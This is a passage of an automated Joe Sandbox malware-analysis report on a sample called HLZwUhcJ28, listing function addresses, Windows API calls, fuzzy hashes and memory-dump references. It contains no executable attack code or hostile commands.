Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 3b96e4bc9674b0bfe861db3a8d48e59cac22d33fe6a98766aeed1da261f7cc18
Instruction ID: b599e3f33b16b90ca27a1535eaf0fd505284f7a75b76986c18e056fccf8654f0
Opcode Fuzzy Hash: 3b96e4bc9674b0bfe861db3a8d48e59cac22d33fe6a98766aeed1da261f7cc18
Instruction Fuzzy Hash: 72F0286290C341A9DA10BB749905179B7609F1ABB4F540375DA7C072C7CF2BD445C724

Function 00007FF70ECE00F0 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32 ref: 00007FF70ECF3AAA

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: 39a766f13ec939f6e1c3257cb9b2c56e534004cb78ff04812ec539a8ae924e80
Instruction ID: 5825892a758b03d184bf78e340d39c101be024786d34dc231299bbddf1eeba22
Opcode Fuzzy Hash: 39a766f13ec939f6e1c3257cb9b2c56e534004cb78ff04812ec539a8ae924e80
Instruction Fuzzy Hash: 6DD05E61F18286A2E620B321AC1977A9310AF91B84F900231DD8E1B7D1CF2ED2228654

Function 00007FF70ECD8CF8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 00007FF70ECD8D06

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: b7b94b84bc736c81f561ac6a0213732948c79a519d47e0e60c8097fcab4ddeb2
Instruction ID: ed3f3cc7f1fe65093bbf3ba8533533e1f92bfe5284fb3b6f91ec20eb80b89e44
Opcode Fuzzy Hash: b7b94b84bc736c81f561ac6a0213732948c79a519d47e0e60c8097fcab4ddeb2
Instruction Fuzzy Hash: BAC08C21F09602C2DA086B26DC8A21812A0FF51B04FA08035C10CC21A0DF2EC5AA8310

Function 00007FF70ECD4E00 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 00007FF70ECD4E08

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 18013ed5b6161e60d067ba1f4f2b62e7c051905d9142b67b1a2e10f00f48d8d5
Instruction ID: 83484a500c6b11cb4aa8bad484ade203199e38a5711856b0f9081b92d537ce7c
Opcode Fuzzy Hash: 18013ed5b6161e60d067ba1f4f2b62e7c051905d9142b67b1a2e10f00f48d8d5
Instruction Fuzzy Hash: CEB09210B06541C2D6046B22DC822185324AB89B01BD88431C50DD2220CF1CC9EB9700

Function 00007FF70ED02E94 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF70ED02EE9

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 973ac4a955278155064161a4d63dbe6b99ccc62035c0026a498718668b27418c
Instruction ID: 0220926a4f36c6a8ba878582dcfad581f36906b6dc1d8fea50dd04eeaad1e2ec
Opcode Fuzzy Hash: 973ac4a955278155064161a4d63dbe6b99ccc62035c0026a498718668b27418c
Instruction Fuzzy Hash: 13F04914B4A24386FE5976669D593BAD284DF88B80FCC1435C90EC77E3EF2CE4804234

Function 00007FF70ED00E5C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF70ED00E9A

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 6cb8d6af9808862ce5c6d1e218701f51077bf56df55e472ff95833f18a2663ca
Instruction ID: 0eb860b5bd867f1415c8457a18c529da35bb9f418c75f5953f9d2a8dea56eb02
Opcode Fuzzy Hash: 6cb8d6af9808862ce5c6d1e218701f51077bf56df55e472ff95833f18a2663ca
Instruction Fuzzy Hash: 7DF0F850B1D247A5FA54B6B25C517B9A280CF897A1F8C4A34DCAED72C2DF2CB8808234

Function 00007FF70ECD42D0 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF70ECD427E), ref: 00007FF70ECD42F6

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9c850ec0e91a3c36dd67a082f4f7d32c48f886c19389c1b26b24c46edd12351b
Instruction ID: b651c04e4c89275fb5a26b9828b87a1305cf92e52f482f8754287c1f8d70d817
Opcode Fuzzy Hash: 9c850ec0e91a3c36dd67a082f4f7d32c48f886c19389c1b26b24c46edd12351b
Instruction Fuzzy Hash: EFF08122A0C642A5EB289F28E84137AA660EF04B7AF884334D73C012D4DF3AD9958320

Non-executed Functions

Function 00007FF70ECDE91C Relevance: 43.2, APIs: 22, Strings: 2, Instructions: 1205COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF70ECDFCC4

Part of subcall function 00007FF70ECDAEE0: LoadStringW.USER32 ref: 00007FF70ECDAF67
Part of subcall function 00007FF70ECDAEE0: LoadStringW.USER32 ref: 00007FF70ECDAF80

Part of subcall function 00007FF70ECEEC2C: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF70ECDFBC5), ref: 00007FF70ECEEC60
Part of subcall function 00007FF70ECEEC2C: SetLastError.KERNEL32 ref: 00007FF70ECEECA3

Part of subcall function 00007FF70ECD12BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF70ECD13B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC2C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC32
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC38
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC3E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC44
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC4A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC50
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC56
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC5C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC62
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC68
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC6E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC74
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC7A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC80
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC86
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC8C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFC92
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFCCE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDFCD4

Strings

%ls, xrefs: 00007FF70ECDEB48, 00007FF70ECDEB9B
%s: %s, xrefs: 00007FF70ECDF3AD

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastLoadString$Concurrency::cancel_current_taskInit_thread_footer
String ID: %ls$%s: %s
API String ID: 2539828978-2259941744
Opcode ID: 87ea6f5bcc4e1b3ad6ac3b10cad88529b6f4803ac2bf8d6679d8dd7104d9238e
Instruction ID: be81187ad9b85b916ee8a83a036f075dd2a35b11ad96127b6f4f19023efd856a
Opcode Fuzzy Hash: 87ea6f5bcc4e1b3ad6ac3b10cad88529b6f4803ac2bf8d6679d8dd7104d9238e
Instruction Fuzzy Hash: 0EB2B662A1D68261EA10BB25E8542BBE351FFC9790F90433AE69D47BD6DF2FE540C310

Function 00007FF70ED059E0 Relevance: 22.3, APIs: 8, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED060A2
memcpy_s.LIBCMT ref: 00007FF70ED06A4F
memcpy_s.LIBCMT ref: 00007FF70ED06AF6

Part of subcall function 00007FF70ED06D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED06D7E

memcpy_s.LIBCMT ref: 00007FF70ED06BBF

Part of subcall function 00007FF70ED00510: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED00535

Strings

1#IND, xrefs: 00007FF70ED06C3A
1#INF, xrefs: 00007FF70ED06C97
1#SNAN, xrefs: 00007FF70ED06C59
1#QNAN, xrefs: 00007FF70ED06C78

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 1759834784-2761157908
Opcode ID: 9299a3169d015825bf4d3bc5b4bd651bd176d2d756bbc2b925d21ab17e7b8838
Instruction ID: 7de16e7afc42195ffb586bbc650a0504fdf31f8bbf3e7f7b55a79a74f3e55b44
Opcode Fuzzy Hash: 9299a3169d015825bf4d3bc5b4bd651bd176d2d756bbc2b925d21ab17e7b8838
Instruction Fuzzy Hash: C8B2F672A082828BE775AE25DC407FDB7A1FF84388F985135DA1A97F84DF39E5148B10

Function 00007FF70ECD72AC Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF70ECD730E
GetFullPathNameW.KERNEL32 ref: 00007FF70ECD735A
GetFullPathNameW.KERNEL32 ref: 00007FF70ECD7477
GetFullPathNameW.KERNEL32 ref: 00007FF70ECD74BC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD762C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD7632
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD7638
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD763E

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: a763a03e94ac9eb552bec9fcc4b44f4ad800b0a698e118a479ea2ebfada1421e
Instruction ID: 0980293dc8dd20d62a0a2fd97388b67803994e2285e5dffc2239393fb058ea04
Opcode Fuzzy Hash: a763a03e94ac9eb552bec9fcc4b44f4ad800b0a698e118a479ea2ebfada1421e
Instruction Fuzzy Hash: 58A1E262F18B5295FF00AB798C541BEA361AF44BE4B944236DE2D17BC8EF3EE441C210

Function 00007FF70ECF6940 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF70ECF695C
RtlCaptureContext.KERNEL32 ref: 00007FF70ECF6989
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF70ECF69A3
RtlVirtualUnwind.KERNEL32 ref: 00007FF70ECF69E4
IsDebuggerPresent.KERNEL32 ref: 00007FF70ECF6A38
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70ECF6A59
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70ECF6A64

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 5f39327fa42525bc33200ed161c8229643c86edd9f1335a814b99d0019b01ea8
Instruction ID: e576ca3d9aa75ce997e17549934f4332a650dfbd6ac9e6eec192770e02ca92a2
Opcode Fuzzy Hash: 5f39327fa42525bc33200ed161c8229643c86edd9f1335a814b99d0019b01ea8
Instruction Fuzzy Hash: 51313072609B8199EB609F61E8503EEB364FF44748F84443ADA4D47B95DF39D648C720

Function 00007FF70ECFAC68 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF70ECFACE1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF70ECFACF9
RtlVirtualUnwind.KERNEL32 ref: 00007FF70ECFAD34
IsDebuggerPresent.KERNEL32 ref: 00007FF70ECFAD6D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70ECFAD77
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70ECFAD82

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2759f8db754f876dc0f97b654b135c0d6c98d8b2746f43aa6ee3cc8681b6d2d7
Instruction ID: 29c3942f28606303345fd3db3b976afe41d67084561841d6d1301b6ce16ab9c4
Opcode Fuzzy Hash: 2759f8db754f876dc0f97b654b135c0d6c98d8b2746f43aa6ee3cc8681b6d2d7
Instruction Fuzzy Hash: A4318232618B8196DB20DF25EC503AEB7A4FF88754F940136EA9D43B55DF3DC5458B10

Function 00007FF70ED02F24 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED02F54

Part of subcall function 00007FF70ECFAEC4: GetCurrentProcess.KERNEL32(00007FF70ED0415D), ref: 00007FF70ECFAEF1

Strings

*?, xrefs: 00007FF70ED02F7B
., xrefs: 00007FF70ED03374

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 0397e87bc1f9fe8d1eb93a7313c01eb3b20dabc7e7d4e6101e5a9de111c5d93d
Instruction ID: 348d7f10c9c2bee9766f04da593ce7f5cd8b2ef9ce79bc2c197334548ff3546b
Opcode Fuzzy Hash: 0397e87bc1f9fe8d1eb93a7313c01eb3b20dabc7e7d4e6101e5a9de111c5d93d
Instruction Fuzzy Hash: AD51F362B15B9585EB10EFA29C006FDA7A4FF48BD8B984536DE1D97B85DF3CD0428320

Function 00007FF70ED05510 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF70ED0559B

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction ID: 904223523dc95e1981066ae9fee1f871a1a34a0d00370d2ab53b0d4c1e4d795a
Opcode Fuzzy Hash: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction Fuzzy Hash: 9ED19232B1928687DB34DF15F5847AAB7A1FB88784F988134DF4A97B44DB3DE8418B10

Function 00007FF70ECD3BF8 Relevance: 4.5, APIs: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00007FF70ECDFD53), ref: 00007FF70ECD3C05
FormatMessageW.KERNEL32(?,?,?,?,?,?,00000000,00007FF70ECDFD53), ref: 00007FF70ECD3C39
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,00007FF70ECDFD53), ref: 00007FF70ECD3C63

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: 684dc38ac55c5e82846154b96ca5d63968fe70dc8924e915fe5da19121ede087
Instruction ID: 12f31fde12f6e07135a0633e27057f0e29922b5d820ca7d071be1274deff4fcf
Opcode Fuzzy Hash: 684dc38ac55c5e82846154b96ca5d63968fe70dc8924e915fe5da19121ede087
Instruction Fuzzy Hash: 08012C7170C78692E710AB26B88027BE391FF89BC0F884135EA8D87B59DF3DD5058710

Function 00007FF70ED03130 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FF70ED03374

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 235d398572f0be20e3fb8c6319951830835c2244ab5eef47411310ef9754f573
Instruction ID: 4e5361191a1981d5d6a566072d457051bc447fd58a9e1e6ced12fd61309db79e
Opcode Fuzzy Hash: 235d398572f0be20e3fb8c6319951830835c2244ab5eef47411310ef9754f573
Instruction Fuzzy Hash: C631EA22B1869155E720AB36DC057AAAB91EF44BE4F488635EE6C47BC5CF3CD5118300

Function 00007FF70ED09008 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF70ED09255
RaiseException.KERNEL32 ref: 00007FF70ED09266

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

